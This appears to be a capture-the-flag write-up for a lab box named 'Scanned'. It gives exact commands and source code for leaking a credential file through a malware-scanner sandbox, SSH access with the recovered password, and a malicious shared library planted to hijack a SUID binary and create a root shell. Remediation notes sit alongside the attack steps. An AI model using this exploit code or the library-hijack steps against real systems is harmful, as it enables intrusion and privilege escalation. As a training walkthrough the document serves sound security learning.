Scanned
Summary
The MalScanner web service on port 80 accepted user-uploaded binaries, ran them inside a seccomp-filtered chroot, and returned a report of their syscall activity. Its own complete source code was offered as a public, unauthenticated download. Reading that source revealed the exact allowed-syscall set and the path to the web application's credential file inside the chroot.
A custom statically-compiled exploit binary was built using only the permitted syscalls to open and read that credential file, then write the contents back through the scanner's own output channel. The scan report returned the cleartext SSH password for local user 'clarence'. That password gave a direct SSH shell and the user flag.
From the clarence session, a SUID binary was found that loaded a shared library from a path writable inside the chroot environment. A malicious library whose constructor copied /bin/bash to /tmp/rootbash and set the SUID bit was planted at that path. Triggering the SUID binary caused the dynamic linker to load and execute the malicious constructor at the binary's elevated privilege level, producing a SUID-root shell and completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for clarence>"Attack path: how the box was taken
Exact commands 2
Full-surface sweep; confirmed ssh on 22 and http on 80.
$ nmap -Pn -sV -p- --min-rate 5000 $TARGETBanner-grab to confirm service versions.
$ nmap -Pn --host-timeout 20s --max-retries 1 -sV -p22,80 $TARGETExact commands 2
Identify the source-download link on the landing page.
$ curl -s http://$TARGET/ | grep -i 'download\|source\|zip\|tar'Retrieve and unpack the full web-app and sandbox source.
$ wget http://$TARGET/source.zip -O malscanner_source.zip && unzip malscanner_source.zip -d malscanner_src/FixRemove unauthenticated access to application and sandbox source codeCritical
Exact commands 2
Extract every permitted syscall name from the filter definition.
$ grep -rE 'SCMP_SYS|seccomp|allow|whitelist|permit' malscanner_src/ | sort -uLocate credential and config file paths relative to the chroot root.
$ grep -rE 'chroot|root_dir|workdir|config|passwd|secret|cred' malscanner_src/ | sort -uExact commands 2
Compile a statically linked, libc-free binary using only the allowed syscalls; substitute CRED_PATH with the credential file path from step 3.
$ cat > leak.c << 'EOF'
#include <sys/syscall.h>
#include <fcntl.h>
#define CRED_PATH "/path/from/source/analysis"
char buf[4096];
void _start() {
int fd = (int)syscall(SYS_openat, AT_FDCWD, CRED_PATH, O_RDONLY);
long n = syscall(SYS_read, fd, buf, sizeof(buf));
syscall(SYS_write, 1, buf, n);
syscall(SYS_exit_group, 0);
}
EOF
gcc -static -nostdlib -o leak leak.cUpload the binary; MalScanner runs it and returns stdout in the result page, disclosing the credential file contents.
$ curl -s -X POST http://$TARGET/upload -F 'file=@leak' | grep -A 20 'output\|result\|syscall'FixRestrict the sandbox seccomp policy to block file-system reads of sensitive pathsCritical
Exact commands 1
Authenticate with the leaked password; output confirms clarence's shell and yields <user.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 clarence@$TARGET 'id; cat /home/clarence/user.txt'
uid=1000(clarence) gid=1000(clarence) groups=1000(clarence)FixStore application credentials outside any sandbox-accessible path and disable SSH password authenticationCritical
Exact commands 5
Enumerate all SUID binaries on the host.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null clarence@$TARGET 'find / -perm -4000 -type f 2>/dev/null'Identify which shared libraries the target SUID binary loads and their resolved paths; replace /path/to/suid_binary with the binary found above.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null clarence@$TARGET 'ldd /path/to/suid_binary && readelf -d /path/to/suid_binary | grep -i rpath\|runpath'Compile a malicious shared library whose constructor creates a SUID-root copy of bash at /tmp/rootbash.
$ cat > evil.c << 'EOF'
#include <stdlib.h>
__attribute__((constructor)) void pwn() {
system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash");
}
EOF
gcc -shared -fPIC -nostartfiles -o libbad.so evil.cUpload the malicious .so to the hijackable library path; replace destination with the writable path identified by ldd.
$ sshpass -p "$PASSWORD" scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null libbad.so clarence@$TARGET:/writable/library/path/libtarget.soTrigger the SUID binary; the dynamic linker loads the planted library and the constructor runs with elevated privileges.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null clarence@$TARGET '/path/to/suid_binary'FixAudit SUID binaries and ensure all shared-library load paths are root-owned and non-writableCritical
Exact commands 1
Verify /tmp/rootbash ownership (expect 0:0 4755), then execute with -p to retain root EUID; yields <root.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 clarence@$TARGET 'stat -c "%u:%g %a %y %n" /tmp/rootbash 2>&1; /tmp/rootbash -p -c "id; cat /root/root.txt" 2>&1'
euid=0(root)Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place (a config file, a database, a cracked hash, a service account) is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) |
| 80/tcp | http nginx 1.18.0 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.